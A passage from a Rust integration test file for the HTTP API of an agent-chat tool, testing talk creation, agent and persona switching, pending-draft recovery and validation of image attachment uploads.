9233 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9234 let f = Fixture::with_repo(repo.clone()).await;
9235 (tmp, repo, f)
9236 }
9237
9238 #[tokio::test]
9239 async fn posting_a_talk_with_remembered_choices_is_soft() {
9240 let (_tmp, _repo, f) = talk_fixture().await;
9241
9242 let good = f
9243 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
9244 .await;
9245 assert_eq!(good.status, 201, "{}", good.body);
9246 assert_eq!(good.json()["persona"], "rei");
9247
9248 let stale = f
9250 .post(
9251 "/api/talks",
9252 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
9253 )
9254 .await;
9255 assert_eq!(stale.status, 201, "{}", stale.body);
9256 let v = stale.json();
9257 assert_eq!(v["implementers"], 1);
9258 assert_ne!(v["persona"], "nobody");
9259 let typed = f
9260 .post(
9261 "/api/talks",
9262 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
9263 )
9264 .await;
9265 assert_eq!(typed.status, 201, "{}", typed.body);
9266
9267 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
9269 assert!(
9270 !strict.status.to_string().starts_with('2'),
9271 "{}",
9272 strict.body
9273 );
9274 }
9275
9276 #[tokio::test]
9277 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
9278 let (_tmp, _repo, f) = talk_fixture().await;
9279
9280 let opened = f.post("/api/talks", None).await;
9283 assert_eq!(opened.status, 201, "{}", opened.body);
9284 let body = opened.json();
9285 assert_eq!(body["status"], "open");
9286 assert_eq!(
9287 body["turns"].as_array().unwrap().len(),
9288 0,
9289 "opening takes no agent turn: there is nothing yet to answer"
9290 );
9291
9292 let also_opened = f.post("/api/talks", Some("{}")).await;
9294 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
9295
9296 let listed = f.get("/api/talks").await.json();
9297 assert_eq!(listed.as_array().unwrap().len(), 2);
9298 }
9299
9300 #[tokio::test]
9301 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
9302 let tmp = TempDir::new().expect("tempdir");
9303 let repo = tmp.path().join("repo");
9304 std::fs::create_dir_all(&repo).expect("repo dir");
9305 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
9306 std::fs::write(
9307 repo.join("magi.toml"),
9308 format!("{MOCK_AGENT_TOML}\n{second}"),
9309 )
9310 .expect("write magi.toml");
9311 let home = TempDir::new().expect("temp home");
9312 let talks = Talks::at(home.path().join("talks"));
9313 let ui = Arc::new(
9314 Ui::new(
9315 Queue::at(home.path().join("queue")),
9316 Questions::at(home.path().join("questions")),
9317 talks.clone(),
9318 home.path().join("runs"),
9319 home.path().to_path_buf(),
9320 repo.clone(),
9321 )
9322 .with_worktrees_root(home.path().join("wt")),
9323 );
9324 let cfg = config_for(&repo).await.expect("discover config");
9325 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9326 let id = talk.id.clone();
9327 let call = |agent: &str| {
9328 talk_agent(
9329 State(Arc::clone(&ui)),
9330 Path(id.clone()),
9331 Json(TalkAgent {
9332 agent: agent.to_owned(),
9333 }),
9334 )
9335 };
9336
9337 let unknown = call("nobody").await.expect_err("unknown agent");
9338 assert_eq!(
9339 unknown.status,
9340 StatusCode::BAD_REQUEST,
9341 "{}",
9342 unknown.message
9343 );
9344
9345 {
9346 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
9349 let busy = call("second").await.expect_err("busy talk");
9350 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9351 assert!(
9352 busy.message.contains("a talk turn is running"),
9353 "{}",
9354 busy.message
9355 );
9356 drop(guard);
9357 }
9358 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
9359
9360 let Json(view) = call("second").await.expect("switch");
9361 assert_eq!(view.talk.agent, "second");
9362 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
9363 let saved = talks.get(&id).expect("reload");
9364 assert_eq!(saved.agent, "second");
9365 assert_eq!(saved.turns.len(), 1);
9366
9367 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9368 .await
9369 .expect("detail");
9370 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
9371 assert_eq!(roster, ["mock", "second"]);
9372
9373 let mut closed = talks.get(&id).expect("reload");
9374 talk::close(&mut closed, &talks).expect("close");
9375 let refused = call("mock").await.expect_err("closed talk");
9376 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9377 assert!(
9378 refused.message.contains("takes no more turns"),
9379 "{}",
9380 refused.message
9381 );
9382 }
9383
9384 #[tokio::test]
9385 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
9386 let tmp = TempDir::new().expect("tempdir");
9387 let repo = tmp.path().join("repo");
9388 std::fs::create_dir_all(&repo).expect("repo dir");
9389 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9390 let home = TempDir::new().expect("temp home");
9391 let talks = Talks::at(home.path().join("talks"));
9392 let ui = Arc::new(
9393 Ui::new(
9394 Queue::at(home.path().join("queue")),
9395 Questions::at(home.path().join("questions")),
9396 talks.clone(),
9397 home.path().join("runs"),
9398 home.path().to_path_buf(),
9399 repo.clone(),
9400 )
9401 .with_worktrees_root(home.path().join("wt")),
9402 );
9403 let cfg = config_for(&repo).await.expect("discover config");
9404 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9405 let id = talk.id.clone();
9406 let call = |n: u8| {
9407 talk_implementers(
9408 State(Arc::clone(&ui)),
9409 Path(id.clone()),
9410 Json(TalkImplementers { implementers: n }),
9411 )
9412 };
9413
9414 for bad in [0u8, 4] {
9415 let e = call(bad).await.expect_err("out of range");
9416 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
9417 }
9418 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
9419
9420 {
9421 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
9424 let busy = call(2).await.expect_err("busy talk");
9425 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9426 assert!(
9427 busy.message.contains("a talk turn is running"),
9428 "{}",
9429 busy.message
9430 );
9431 drop(guard);
9432 }
9433
9434 let Json(view) = call(3).await.expect("switch");
9435 assert_eq!(view.talk.implementers, 3);
9436 assert!(talks.get(&id).expect("reload").implementers_dirty);
9437
9438 let mut closed = talks.get(&id).expect("reload");
9439 talk::close(&mut closed, &talks).expect("close");
9440 let e = call(2).await.expect_err("closed talk");
9441 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
9442 assert!(e.message.contains("takes no more turns"), "{}", e.message);
9443 }
9444
9445 #[tokio::test]
9446 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
9447 let tmp = TempDir::new().expect("tempdir");
9448 let repo = tmp.path().join("repo");
9449 std::fs::create_dir_all(&repo).expect("repo dir");
9450 std::fs::write(
9451 repo.join("magi.toml"),
9452 format!(
9453 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
9454 ),
9455 )
9456 .expect("write magi.toml");
9457 let home = TempDir::new().expect("temp home");
9458 let talks = Talks::at(home.path().join("talks"));
9459 let ui = Arc::new(
9460 Ui::new(
9461 Queue::at(home.path().join("queue")),
9462 Questions::at(home.path().join("questions")),
9463 talks.clone(),
9464 home.path().join("runs"),
9465 home.path().to_path_buf(),
9466 repo.clone(),
9467 )
9468 .with_worktrees_root(home.path().join("wt")),
9469 );
9470 let cfg = config_for(&repo).await.expect("discover config");
9471 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9472 let id = talk.id.clone();
9473 let call = |persona: &str| {
9474 talk_persona(
9475 State(Arc::clone(&ui)),
9476 Path(id.clone()),
9477 Json(TalkPersona {
9478 persona: persona.to_owned(),
9479 }),
9480 )
9481 };
9482
9483 let unknown = call("nobody").await.expect_err("unknown persona");
9484 assert_eq!(
9485 unknown.status,
9486 StatusCode::BAD_REQUEST,
9487 "{}",
9488 unknown.message
9489 );
9490
9491 {
9492 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
9495 let busy = call("rei").await.expect_err("busy talk");
9496 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9497 assert!(
9498 busy.message.contains("a talk turn is running"),
9499 "{}",
9500 busy.message
9501 );
9502 drop(guard);
9503 }
9504 assert_eq!(talks.get(&id).expect("reload").persona, "");
9505
9506 let Json(view) = call("gendo").await.expect("switch to a configured persona");
9507 assert_eq!(view.talk.persona, "gendo");
9508 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
9509
9510 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9511 .await
9512 .expect("detail");
9513 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
9514 assert_eq!(ids.first(), Some(&"default"));
9515 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
9516
9517 let Json(view) = call("default").await.expect("back to default");
9518 assert_eq!(view.talk.persona, "");
9519
9520 let mut closed = talks.get(&id).expect("reload");
9521 talk::close(&mut closed, &talks).expect("close");
9522 let refused = call("rei").await.expect_err("closed talk");
9523 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9524 assert!(
9525 refused.message.contains("takes no more turns"),
9526 "{}",
9527 refused.message
9528 );
9529 }
9530
9531 #[tokio::test]
9532 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
9533 let f = Fixture::start().await;
9534 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
9535 let queue = f.queue();
9536 let mut mine = Task::new(
9537 "rename the loader".to_owned(),
9538 "rename the loader".to_owned(),
9539 PathBuf::from("/repo/magi"),
9540 Source::Agent {
9541 run: talk_id.clone(),
9542 node: "chat".to_owned(),
9543 },
9544 );
9545 queue.put(&mut mine).expect("file the task");
9546 let mut theirs = Task::new(
9547 "unrelated".to_owned(),
9548 "unrelated".to_owned(),
9549 PathBuf::from("/repo/magi"),
9550 Source::Human,
9551 );
9552 queue.put(&mut theirs).expect("file the task");
9553
9554 let res = f.get(&format!("/api/talks/{talk_id}")).await;
9555 assert_eq!(res.status, 200, "{}", res.body);
9556 let body = res.json();
9557 assert_eq!(
9558 body["status"], "open",
9559 "filing a task does not close a talk"
9560 );
9561 let tasks = body["tasks"].as_array().expect("tasks array");
9562 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
9563 assert_eq!(tasks[0]["id"], mine.id);
9564 }
9565
9566 #[tokio::test]
9567 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
9568 let (_tmp, _repo, f) = talk_fixture().await;
9569 let id = f.post("/api/talks", None).await.json()["id"]
9570 .as_str()
9571 .expect("id")
9572 .to_owned();
9573
9574 let res = f
9575 .post(
9576 &format!("/api/talks/{id}/say"),
9577 Some(r#"{"text":"what does the queue module do?"}"#),
9578 )
9579 .await;
9580 assert_eq!(res.status, 202, "{}", res.body);
9581 let queued = res.json();
9582 let turns = queued["turns"].as_array().expect("turns array");
9583 assert_eq!(
9584 turns.len(),
9585 1,
9586 "the answer reflects only what is on disk the instant it is sent, \
9587 before the agent's turn - which can run for the whole of \
9588 `[graph] timeout_talk` - has a chance to land: {queued}"
9589 );
9590 assert_eq!(turns[0]["who"], "operator");
9591 assert_eq!(turns[0]["body"], "what does the queue module do?");
9592 assert_eq!(
9593 queued["thinking"], true,
9594 "the accepted response exposes the background turn claim: {queued}"
9595 );
9596
9597 let mut turns_after = 1;
9598 for _ in 0..SETTLE_STEPS {
9599 let detail = f.get(&format!("/api/talks/{id}")).await.json();
9600 turns_after = detail["turns"].as_array().expect("turns array").len();
9601 if turns_after == 2 {
9602 break;
9603 }
9604 tokio::time::sleep(Duration::from_millis(10)).await;
9605 }
9606 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
9607 }
9608
9609 #[tokio::test]
9636 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9637 let tmp = TempDir::new().expect("tempdir");
9638 let repo = tmp.path().join("repo");
9639 std::fs::create_dir_all(&repo).expect("repo dir");
9640 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9641 let home = TempDir::new().expect("temp home");
9642 let talks = Talks::at(home.path().join("talks"));
9643 let ui = Arc::new(
9644 Ui::new(
9645 Queue::at(home.path().join("queue")),
9646 Questions::at(home.path().join("questions")),
9647 talks.clone(),
9648 home.path().join("runs"),
9649 home.path().to_path_buf(),
9650 repo.clone(),
9651 )
9652 .with_worktrees_root(home.path().join("wt")),
9653 );
9654 let cfg = config_for(&repo).await.expect("discover config");
9655
9656 for delay in 0..40u32 {
9657 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9658 let id = talk.id.clone();
9659
9660 let handler = tokio::spawn(talk_say(
9661 State(Arc::clone(&ui)),
9662 Path(id.clone()),
9663 Ok(Json(NewTalkTurn {
9664 text: "what does the queue module do?".to_owned(),
9665 attachments: Vec::new(),
9666 })),
9667 ));
9668 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9669 handler.abort();
9670 let _ = handler.await;
9673
9674 let mut turns = 0;
9675 for _ in 0..SETTLE_STEPS {
9676 if let Ok(fresh) = talks.get(&id) {
9677 turns = fresh.turns.len();
9678 if turns != 1 {
9679 break;
9680 }
9681 }
9682 tokio::time::sleep(Duration::from_millis(10)).await;
9683 }
9684 assert_ne!(
9685 turns, 1,
9686 "delay {delay}: talk {id} recorded the operator's turn but \
9687 the agent never answered - the reply task was never \
9688 started after the handler future was dropped"
9689 );
9690 }
9691 }
9692
9693 #[tokio::test]
9738 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9739 let tmp = TempDir::new().expect("tempdir");
9740 let repo = tmp.path().join("repo");
9741 std::fs::create_dir_all(&repo).expect("repo dir");
9742 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9743 let home = TempDir::new().expect("temp home");
9744 let talks = Talks::at(home.path().join("talks"));
9745 let ui = Arc::new(
9746 Ui::new(
9747 Queue::at(home.path().join("queue")),
9748 Questions::at(home.path().join("questions")),
9749 talks.clone(),
9750 home.path().join("runs"),
9751 home.path().to_path_buf(),
9752 repo.clone(),
9753 )
9754 .with_worktrees_root(home.path().join("wt")),
9755 );
9756 let cfg = config_for(&repo).await.expect("discover config");
9757
9758 for attempt in 0..3u32 {
9759 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9760 let id = talk.id.clone();
9761 let turn_guard = ui
9764 .begin_talk_turn(&id)
9765 .expect("claim the turn")
9766 .expect("a fresh talk owes nobody a turn");
9767
9768 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9769 let (release_tx, release_rx) = std::sync::mpsc::channel();
9770 ui.set_busy_queue_gate(BusyQueueGate {
9771 reached: reached_tx,
9772 release: release_rx,
9773 });
9774
9775 let handler = tokio::spawn(talk_say(
9776 State(Arc::clone(&ui)),
9777 Path(id.clone()),
9778 Ok(Json(NewTalkTurn {
9779 text: "what does the queue module do?".to_owned(),
9780 attachments: Vec::new(),
9781 })),
9782 ));
9783
9784 tokio::time::timeout(Duration::from_secs(5), reached_rx)
9789 .await
9790 .unwrap_or_else(|_| {
9791 panic!(
9792 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9793 )
9794 })
9795 .expect("the busy branch dropped the gate without using it");
9796
9797 let running = talks.get(&id).expect("reload talk");
9804 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9805
9806 handler.abort();
9810 let _ = handler.await;
9811
9812 let _ = release_tx.send(());
9818
9819 let mut fresh = talks.get(&id).expect("reload talk");
9822 for _ in 0..SETTLE_STEPS {
9823 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9824 break;
9825 }
9826 tokio::time::sleep(Duration::from_millis(10)).await;
9827 fresh = talks.get(&id).expect("reload talk");
9828 }
9829 assert!(
9830 fresh.pending.is_empty() && fresh.turns.len() == 2,
9831 "attempt {attempt}: talk {id} left the operator's text queued \
9832 with no drainer - the reclaimed turn was dropped along with \
9833 the handler future (pending {:?}, {} turns)",
9834 fresh.pending,
9835 fresh.turns.len()
9836 );
9837 }
9838 }
9839
9840 #[tokio::test]
9841 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9842 let (_tmp, _repo, f) = talk_fixture().await;
9843 let id = f.post("/api/talks", None).await.json()["id"]
9844 .as_str()
9845 .expect("id")
9846 .to_owned();
9847 let store = f.talks();
9848 let mut recovered = store.get(&id).expect("opened talk");
9849 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9850 .expect("persist pending draft without a live turn");
9851
9852 let edited = f
9853 .post(
9854 &format!("/api/talks/{id}/pending/edit"),
9855 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9856 )
9857 .await;
9858 assert_eq!(edited.status, 200, "{}", edited.body);
9859 assert!(edited.json()["thinking"].as_bool().unwrap());
9860
9861 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9862 for _ in 0..SETTLE_STEPS {
9863 if detail["turns"].as_array().expect("turns").len() == 2 {
9864 break;
9865 }
9866 tokio::time::sleep(Duration::from_millis(10)).await;
9867 detail = f.get(&format!("/api/talks/{id}")).await.json();
9868 }
9869 let turns = detail["turns"].as_array().expect("turns");
9870 assert_eq!(
9871 turns.len(),
9872 2,
9873 "the recovered draft must run once: {detail}"
9874 );
9875 assert_eq!(turns[0]["body"], "corrected");
9876 assert_eq!(detail["pending"], "");
9877 }
9878
9879 #[tokio::test]
9880 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9881 let tmp = TempDir::new().expect("tempdir");
9882 let repo = tmp.path().join("repo");
9883 std::fs::create_dir_all(&repo).expect("repo dir");
9884 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9885 let f = Fixture::with_repo(repo).await;
9886 let id = f.post("/api/talks", None).await.json()["id"]
9887 .as_str()
9888 .expect("id")
9889 .to_owned();
9890 let store = f.talks();
9891 let mut recovered = store.get(&id).expect("opened talk");
9892 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9893 .expect("persist pending draft without a live turn");
9894
9895 let refused = f
9896 .post(
9897 &format!("/api/talks/{id}/say"),
9898 Some(r#"{"text":"new message"}"#),
9899 )
9900 .await;
9901 assert_eq!(refused.status, 409, "{}", refused.body);
9902 assert!(refused.body.contains("resume"), "{}", refused.body);
9903 let saved = store.get(&id).expect("draft remains after refusal");
9904 assert!(saved.turns.is_empty());
9905 assert_eq!(saved.pending, "saved before restart");
9906
9907 let say_path = format!("/api/talks/{id}/say");
9908 let (first, second) = tokio::join!(
9909 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9910 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9911 );
9912 assert_eq!(first.status, 409, "{}", first.body);
9913 assert_eq!(second.status, 409, "{}", second.body);
9914 let saved = store
9915 .get(&id)
9916 .expect("draft remains after concurrent refusals");
9917 assert!(saved.turns.is_empty());
9918 assert_eq!(saved.pending, "saved before restart");
9919
9920 let resumed = f
9921 .post(&format!("/api/talks/{id}/pending/resume"), None)
9922 .await;
9923 assert_eq!(resumed.status, 202, "{}", resumed.body);
9924 let duplicate = f
9925 .post(&format!("/api/talks/{id}/pending/resume"), None)
9926 .await;
9927 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9928
9929 for _ in 0..SETTLE_STEPS {
9930 if store.get(&id).expect("talk").turns.len() == 2 {
9931 break;
9932 }
9933 tokio::time::sleep(Duration::from_millis(10)).await;
9934 }
9935 let finished = store.get(&id).expect("finished talk");
9936 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9937 assert_eq!(finished.turns[0].body, "saved before restart");
9938 assert!(finished.pending.is_empty());
9939 }
9940
9941 #[tokio::test]
9942 async fn an_image_only_recovered_draft_resumes_without_text() {
9943 let (_tmp, _repo, f) = talk_fixture().await;
9944 let id = f.post("/api/talks", None).await.json()["id"]
9945 .as_str()
9946 .expect("id")
9947 .to_owned();
9948 let uploaded = f
9949 .post_bytes(
9950 &format!("/api/talks/{id}/attachments"),
9951 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9952 PNG_BYTES,
9953 )
9954 .await;
9955 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9956 let attachment = f
9957 .talks()
9958 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9959 .expect("attachment metadata")
9960 .expect("stored attachment");
9961 let store = f.talks();
9962 let mut recovered = store.get(&id).expect("opened talk");
9963 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9964
9965 let resumed = f
9966 .post(&format!("/api/talks/{id}/pending/resume"), None)
9967 .await;
9968 assert_eq!(resumed.status, 202, "{}", resumed.body);
9969 for _ in 0..SETTLE_STEPS {
9970 if store.get(&id).expect("talk").turns.len() == 2 {
9971 break;
9972 }
9973 tokio::time::sleep(Duration::from_millis(10)).await;
9974 }
9975 let finished = store.get(&id).expect("finished talk");
9976 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9977 assert!(finished.turns[0].body.is_empty());
9978 assert_eq!(finished.turns[0].attachments.len(), 1);
9979 assert!(finished.pending_attachments.is_empty());
9980 }
9981
9982 #[tokio::test]
9983 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9984 let (_tmp, _repo, f) = talk_fixture().await;
9985 let id = f.post("/api/talks", None).await.json()["id"]
9986 .as_str()
9987 .expect("id")
9988 .to_owned();
9989 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9990 assert_eq!(closed.status, 200, "{}", closed.body);
9991 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9992 .expect("serialize closed talk");
9993 for (path, body) in [
9994 (format!("/api/talks/{id}/pending/resume"), None),
9995 (
9996 format!("/api/talks/{id}/pending/clear"),
9997 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9998 ),
9999 (
10000 format!("/api/talks/{id}/pending/edit"),
10001 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
10002 ),
10003 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
10004 ] {
10005 let response = f.post(&path, body).await;
10006 assert_eq!(response.status, 409, "{}", response.body);
10007 }
10008 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
10009 .expect("serialize closed talk");
10010 assert_eq!(
10011 after_clear, before_clear,
10012 "clear must not rewrite a closed talk"
10013 );
10014 }
10015
10016 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
10019
10020 #[tokio::test]
10021 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
10022 let tmp = TempDir::new().expect("tempdir");
10023 let repo = tmp.path().join("repo");
10024 std::fs::create_dir_all(&repo).expect("repo dir");
10025 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
10026 let f = Fixture::with_repo(repo).await;
10027 let id_a = f.post("/api/talks", None).await.json()["id"]
10028 .as_str()
10029 .unwrap()
10030 .to_owned();
10031 let id_b = f.post("/api/talks", None).await.json()["id"]
10032 .as_str()
10033 .unwrap()
10034 .to_owned();
10035
10036 let a = f
10037 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
10038 .await;
10039 assert_eq!(a.status, 202, "{}", a.body);
10040 assert_eq!(a.json()["thinking"], true);
10041 let b = f
10042 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
10043 .await;
10044 assert_eq!(b.status, 202, "{}", b.body);
10045 assert_eq!(b.json()["thinking"], true);
10046
10047 let listed = f.get("/api/talks").await.json();
10048 for id in [&id_a, &id_b] {
10049 let view = listed
10050 .as_array()
10051 .unwrap()
10052 .iter()
10053 .find(|talk| talk["id"] == *id)
10054 .unwrap();
10055 assert_eq!(view["thinking"], true, "{listed}");
10056 }
10057 let repeated = f
10058 .post(
10059 &format!("/api/talks/{id_a}/say"),
10060 Some(r#"{"text":"again"}"#),
10061 )
10062 .await;
10063 assert_eq!(repeated.status, 202, "{}", repeated.body);
10064 assert_eq!(repeated.json()["pending"], "again");
10065 }
10066
10067 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
10070
10071 #[tokio::test]
10072 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
10073 let f = Fixture::start().await;
10074 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
10075
10076 let res = f
10077 .post_bytes(
10078 &format!("/api/talks/{id}/attachments"),
10079 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
10080 PNG_BYTES,
10081 )
10082 .await;
10083 assert_eq!(res.status, 201, "{}", res.body);
10084 let body = res.json();
10085 assert_eq!(body["name"], "shot.png");
10086 assert_eq!(body["mime"], "image/png");
10087 assert_eq!(body["bytes"], PNG_BYTES.len());
10088 let att_id = body["id"].as_str().expect("id").to_owned();
10089 assert_eq!(
10090 att_id.len(),
10091 32,
10092 "the id must never be a client-suppliable path: {att_id}"
10093 );
10094
10095 let got = f
10096 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
10097 .await;
10098 assert_eq!(got.status, 200, "{}", got.body);
10099 assert_eq!(got.header("content-type"), Some("image/png"));
10100 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
10101 assert_eq!(got.bytes, PNG_BYTES);
10102 }
10103
10104 #[tokio::test]
10105 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
10106 let f = Fixture::start().await;
10107 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
10108
10109 let svg = f
10112 .post_bytes(
10113 &format!("/api/talks/{id}/attachments"),
10114 &[("Content-Type", "image/svg+xml")],
10115 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
10116 )
10117 .await;
10118 assert!(
10119 (400..500).contains(&svg.status),
10120 "svg must be refused: {} {}",
10121 svg.status,
10122 svg.body
10123 );
10124 assert!(svg.body.contains("SVG"), "{}", svg.body);
10125
10126 let text = f
10127 .post_bytes(
10128 &format!("/api/talks/{id}/attachments"),
10129 &[("Content-Type", "text/plain")],
10130 b"just some text",
10131 )
10132 .await;
10133 assert!(
10134 (400..500).contains(&text.status),
10135 "an unlisted type must be refused: {} {}",
10136 text.status,
10137 text.body
10138 );
10139
10140 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
10143 let big = f
10144 .post_bytes(
10145 &format!("/api/talks/{id}/attachments"),
10146 &[("Content-Type", "image/png")],
10147 &oversized,
10148 )
10149 .await;
10150 assert_eq!(
10151 big.status,
10152 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
10153 "{}",
10154 big.body
10155 );
10156 }
10157
10158 #[tokio::test]
10159 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
10160 let f = Fixture::start().await;
10161 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
10162
10163 let res = f
10166 .post_bytes(
10167 &format!("/api/talks/{id}/attachments"),
10168 &[("Content-Type", "image/png")],
10169 b"<html>not a picture</html>",
10170 )
10171 .await;
10172 assert!((400..500).contains(&res.status), "{}", res.body);
10173 }
10174
10175 #[tokio::test]
10176 async fn an_unknown_attachment_id_is_a_404() {
10177 let f = Fixture::start().await;
10178 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
10179
10180 let res = f
10181 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
10182 .await;
10183 assert_eq!(res.status, 404, "{}", res.body);
10184 }
10185
10186 #[tokio::test]
10187 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
10188 let f = Fixture::start().await;
10189 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
10190
10191 let uploaded = f
10192 .post_bytes(
10193 &format!("/api/talks/{id}/attachments"),
10194 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
10195 PNG_BYTES,
10196 )
10197 .await;
10198 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
10199 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
10200
10201 let res = f
10202 .post(
10203 &format!("/api/talks/{id}/say"),
10204 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
10205 )
10206 .await;
10207 assert_eq!(res.status, 202, "{}", res.body);
10208 let queued = res.json();
10209 let turns = queued["turns"].as_array().expect("turns array");
10210 assert_eq!(
10211 turns.len(),
10212 1,
10213 "an empty body with an attachment is still a turn: {queued}"
10214 );
10215 assert_eq!(turns[0]["who"], "operator");
10216 assert_eq!(turns[0]["body"], "");
10217 let atts = turns[0]["attachments"]
10218 .as_array()
10219 .expect("attachments array");
10220 assert_eq!(atts.len(), 1);
10221 assert_eq!(atts[0]["id"], att_id);
10222 assert_eq!(atts[0]["mime"], "image/png");
10223
10224 let on_disk = f.talks().get(&id).expect("get");
10227 assert_eq!(on_disk.turns[0].attachments.len(), 1);
10228 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
10229 }
10230
10231 #[tokio::test]
10232 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
10233 let f = Fixture::start().await;
10234 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
10235
10236 let res = f
10237 .post(
10238 &format!("/api/talks/{id}/say"),
10239 Some(&format!(
